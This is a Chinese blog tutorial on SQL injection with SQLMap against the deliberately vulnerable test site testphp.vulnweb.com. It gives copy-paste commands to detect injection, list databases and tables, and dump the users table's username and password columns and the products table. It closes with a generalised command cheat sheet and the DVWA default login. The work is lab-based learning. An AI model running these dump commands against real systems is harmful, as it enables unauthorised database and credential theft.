news 2026/8/13 20:25:26

SQLMap注入完整操作流程(含全部细节 靶机学习用)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQLMap注入完整操作流程(含全部细节 靶机学习用)

一、前期准备

1. 工具环境

  • 工具:sqlmap-中文汉化-1.8.1.6(运行目录:~/sqlmap-中文汉化-1.8.1.6

  • 运行命令前缀:python3 sqlmap.py

  • 系统环境:Kali Linux(终端提示符:┌──(root💀HackPts)-[~/sqlmap-中文汉化-1.8.1.6]

2. 测试靶场选择(关键避坑点)

  • 初始尝试靶场:DVWA(本地地址:http://192.168.1.4/dvwa

  • 问题:PHPSESSID会话易失效,导致sqlmap被重定向到登录页(login.php),检测失败

  • 最终成功靶场:OWASP公开测试靶场(核心地址:http://testphp.vulnweb.com/artists.php?artist=1

  • 靶场优势:无登录态要求、100%存在SQL注入漏洞、支持完整数据提取、外网可直接访问(无需本地部署)

3. 靶场核心信息(提前知晓)

  • 后端数据库:MySQL ≥ 5.6

  • Web服务器:Linux Ubuntu + Nginx 1.19.0 + PHP 5.6.40

  • 核心注入参数:GET参数artist(靶场URL自带:?artist=1

  • 可提取数据库:2个(acuart业务库、information_schema系统库)

  • 关键表:acuart库下8张表(含users用户表、products商品表)

二、完整操作流程(按顺序执行,可直接复制命令)

步骤1:验证靶场连通性 + 检测注入点

操作目的

确认靶场可访问,同时检测artist参数是否存在SQL注入漏洞

执行命令

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --dbs -v 1

参数说明

  • -u:指定目标URL(含注入参数artist=1

  • --batch:自动确认所有交互选项(无需手动按回车)

  • --dbs:提取目标的所有数据库列表

  • -v 1:显示基础执行细节(便于排查问题)

预期结果

  1. 检测到artist参数存在4种注入类型:布尔盲注、报错注入、时间盲注、UNION联合查询

  2. 识别后端环境:MySQL ≥ 5.6、Linux Ubuntu、Nginx 1.19.0、PHP 5.6.40

  3. 提取到2个数据库:acuart(核心业务库)、information_schema(系统库)

  4. 数据存储路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com

步骤2:提取 acuart 数据库的所有表

操作目的

获取核心业务库acuart下的表结构,定位关键表(如 users、products)

执行命令

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart --tables -v 1

参数说明

  • -D acuart:指定操作的数据库为acuart(需与步骤1提取的数据库名完全一致)

  • --tables:提取指定数据库下的所有表列表

预期结果

提取到8张表,列表如下:

+-----------+ | artists | | carts | | categ | | featured | | guestbook | | pictures | | products | # 含真实商品数据的核心表 | users | # 存储账号密码的核心表(靶场故意清空数据) +-----------+

步骤3:提取 users 表的账号密码(脱裤尝试)

操作目的

尝试提取用户表users中的username(用户名)和password(密码)字段数据

执行命令

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T users -C username,password --dump -v 1

参数说明

  • -T users:指定操作的表为users(需与步骤2提取的表名完全一致)

  • -C username,password:指定提取的字段(用户名+密码,用英文逗号分隔)

  • --dump:导出指定字段的所有数据(核心“脱裤”操作)

预期结果

表结构存在,但数据为空(靶场刻意设置,非操作问题):

Database: acuart Table: users [1 entry] +----------+----------+ | username | password | +----------+----------+ | <blank> | <blank> | +----------+----------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

步骤4:提取 products 表的真实商品数据(验证流程)

操作目的

验证注入流程的完整性,提取products表的真实业务数据(商品ID、名称、价格)

执行命令

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T products -C id,name,price --dump -v 1

参数说明

  • -T products:指定操作的表为products

  • -C id,name,price:指定提取的字段(商品ID、商品名称、商品价格)

预期结果(核心成功标志)

提取到3条真实商品数据,完整输出如下:

Database: acuart Table: products [3 entries] +----+---------------------------------------------------+-------+ | id | name | price | +----+---------------------------------------------------+-------+ | 1 | Network Storage D-Link DNS-313 enclosure 1 x SATA | 359 | | 2 | Web Camera A4Tech PK-335E | 10 | | 3 | Laser Color Printer HP LaserJet M551dn, A4 | 812 | +----+---------------------------------------------------+-------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/products.csv

三、关键细节与避坑点(必看)

1. 靶场相关细节

  • 核心靶场URL(不可错):http://testphp.vulnweb.com/artists.php?artist=1(必须带?artist=1参数,否则无法检测注入点)

  • 靶场性质:OWASP官方公开测试靶场,合法合规使用,无访问限制

  • 数据特点:users表数据为空(安全防护),products表数据真实(用于验证注入)

2. 命令参数细节

  • 所有参数区分大小写:-D acuart中的acuart必须小写(与靶场数据库名一致),错写会导致提取失败

  • --batch不可省略:自动确认所有交互选项(如“是否跟随重定向”“是否测试其他参数”),避免手动输入打断流程

  • -v 1 的作用:显示基础执行日志,可快速定位“连接失败”“参数错误”等问题(如需更详细日志,可改为-v 2

3. 常见问题排查

  • 问题1:sqlmap提示“无法连接到目标URL”

  • 排查:检查网络是否通畅,靶场URL是否正确(复制http://testphp.vulnweb.com/artists.php?artist=1到浏览器,确认能打开)

  • 问题2:提取数据为空(非users表)

  • 排查:确认-D/-T/-C后的名称是否正确(需与前一步提取的数据库/表/字段名完全一致,不可多空格、不错别字)

  • 问题3:被重定向到登录页(仅DVWA靶场)

  • 排查:重新登录DVWA(账号admin,密码password),立即复制最新的PHPSESSID替换命令中的Cookie值

四、复盘总结(核心收获)

1. 完整注入链路

检测注入点 → 提取数据库列表 → 提取目标库表列表 → 提取目标表字段数据 → 导出数据(脱裤)

2. 核心命令速记

  • 检测+提库:python3 sqlmap.py -u "靶场URL" --batch --dbs -v 1

  • 提表:python3 sqlmap.py -u "靶场URL" --batch -D 数据库名 --tables -v 1

  • 提数据:python3 sqlmap.py -u "靶场URL" --batch -D 数据库名 -T 表名 -C 字段名 --dump -v 1

3. 关键经验

  • 新手练手优先选择公开测试靶场(如testphp.vulnweb.com),避开本地靶场的环境配置坑(如DVWA的会话失效、安全级别设置)

  • 执行每一步前,确认上一步的输出结果(如提取到数据库后,再用该数据库名执行提表命令),避免参数错误

  • 数据为空不一定是操作失败,可能是靶场的安全设置(如本次users表),可换其他表验证流程

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/5 5:16:31

【挖洞干货】震惊!某学生1天轻松挖100洞!

正文 目录 快速挖洞前的准备工作 工具的准备&#xff1a; 工具的用法 权重开始撒网 漏洞&#xff1a; first&#xff1a;弱口令 second&#xff1a;XSS third&#xff1a;SQL fourth&#xff1a;文件上传开始下手最后震惊&#xff01;某学生1天轻松挖100洞&#xff0…

作者头像 李华
网站建设 2026/8/6 0:06:41

西门子A5E45508683002

一、产品定位与核心功能该型号属于西门子 SIMATIC S7-300/400 系列 的通信处理器&#xff08;CP模块&#xff09;&#xff0c;主要用于工业控制系统的串行通信接口扩展。其核心功能包括&#xff1a;协议支持&#xff1a;提供 RS232/RS422/RS485 物理接口&#xff0c;支持以下工…

作者头像 李华
网站建设 2026/7/31 3:01:20

安卓Framework 层详解

Framework 架构概览Android Framework 实际上分为两个主要部分&#xff1a;┌─────────────────────────────────────────────┐ │ 应用层 (Application) │ │ Java/Kotlin 应用代码 …

作者头像 李华
网站建设 2026/8/9 23:26:20

通信协议仿真:5G NR协议仿真_(17).5G NR仿真中的大规模MIMO技术

5G NR仿真中的大规模MIMO技术 引言 大规模MIMO&#xff08;Multiple-Input Multiple-Output&#xff09;技术是5G NR&#xff08;New Radio&#xff09;通信系统中的关键技术之一。通过在基站和用户设备上使用大量天线阵列&#xff0c;大规模MIMO可以显著提高系统的频谱效率、覆…

作者头像 李华
网站建设 2026/8/9 4:34:58

AI原生应用语义索引:打造高效信息处理系统

AI原生应用语义索引:打造高效信息处理系统 一、引言:从“关键词匹配”到“语义理解”的革命 在AI原生应用(AI-Native Application)的设计中,信息处理的效率与准确性是核心竞争力。传统应用依赖“关键词索引”——比如搜索“猫”时,只能匹配包含“猫”这个词的文档,而无…

作者头像 李华